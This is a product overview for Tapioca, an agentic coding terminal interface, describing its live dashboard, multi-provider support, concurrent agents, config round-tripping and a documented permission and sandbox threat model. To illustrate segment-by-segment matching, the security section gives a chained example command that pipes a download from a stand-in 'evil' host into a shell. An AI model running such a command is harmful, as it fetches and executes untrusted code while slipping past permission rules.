Why Tapioca?

There are several agentic coding TUIs — Claude Code, Crush, OpenCode, Aider. They share the same core loop: a model, tools, a permission prompt. What separates them is design choices. These are Tapioca's.

The state of the session is on screen

Most coding agents tell you what they're doing; Tapioca also shows you what it costs. The dashboard stack keeps context fill, session cost, the agent's todo plan, recent tool calls with their arguments, git status and the changed-file list visible at all times — updated live while the agent streams. No slash command needed to answer "how full is my context?", "what did that just run?", or "what has it touched so far?".

The panels themselves are configuration, not decoration: pick and reorder them with /panels, dock the stack on any side of the screen, and edit settings in place — every change is applied live and written back to the config file.

A security model, not a checkbox

Most tools have a permission prompt. Tapioca has a documented threat model that says what is enforced and — unusually — what is not:

• deny rules hold in every mode, including bypass, and cover the read-only tools that never prompt.
• Compound bash commands are matched segment by segment, so an allow rule for go test* cannot be ridden in on by go test ./... && curl evil.sh | sh.
• Read-only tools are exfiltration-aware: read_file gates sensitive paths (.ssh, .env, credentials) even though it normally never prompts, and web_fetch redirects can never land on a private or cloud-metadata address.
• Provider API keys are scrubbed from the environment of every subprocess — shell commands, MCP servers, language servers.
• The sandbox is containment, not filtering: with sandbox = true, bash runs under bubblewrap with $HOME replaced by an empty tmpfs — .ssh isn't gated, it's absent. Missing bwrap fails loudly instead of silently running unconfined.
• No telemetry. One optional startup fetch for model prices (model_catalog = false disables it); after that, the only network traffic is your provider and whatever the agent fetches.

Local-first, any provider

With Ollama running, Tapioca works out of the box — no API key, no account, no network beyond localhost. Web search is keyless too (DuckDuckGo). The same binary speaks Anthropic, Bedrock, Vertex AI, Azure OpenAI, Gemini, and any OpenAI-compatible server, all streaming, all with tool calls and thinking where the backend supports it. Switching is one /model command, and different agents can use different providers in the same session.

Multiple agents, actually concurrent

Each agent has its own provider, model, system prompt, history and stats, and streams in its own goroutine — several can generate at once, not take turns. /fork branches a conversation to try a different approach without losing the original; spawn_agent delegates a search to a subagent whose noise never enters the main context window.

The terminal is respected, not fought

• Marking text with the mouse copies it on release — no copy mode, no prefix key.
• Collapsed thoughts expand with a click, one at a time.
• ascii glyphs render correctly in any terminal and font, borders included; mono drops color entirely; contrast is colorblind-safe Okabe-Ito.
• Default keybinds avoid alt entirely, so they work on macOS out of the box.
• Scrollback works whatever has focus, so you can read history while a prompt is half-typed.

The config file is maintained, not just read

Settings changed inside the app — model, theme, permission mode, dashboard layout — are written back to config.toml, and your comments in the file survive the round trip. /settings opens it in your editor and hot-reloads on save. There is no separate "state" that drifts away from the file.

Safety nets for real work

External edits are detected: if you change a file in your own editor, the agent's stale writes are refused until it re-reads. Every file the agent writes is checked by your configured language servers, with errors attached to the tool result so they're fixed in the same turn — not discovered at the next build.

One binary, editor included

tapioca --acp turns the same binary into an Agent Client Protocol server, so Zed and other ACP editors can drive it — streamed replies, tool status, plans and permission prompts rendered natively by the editor. And it reads AGENTS.md, CLAUDE.md, GEMINI.md and CRUSH.md, so project instructions written for other tools work unchanged.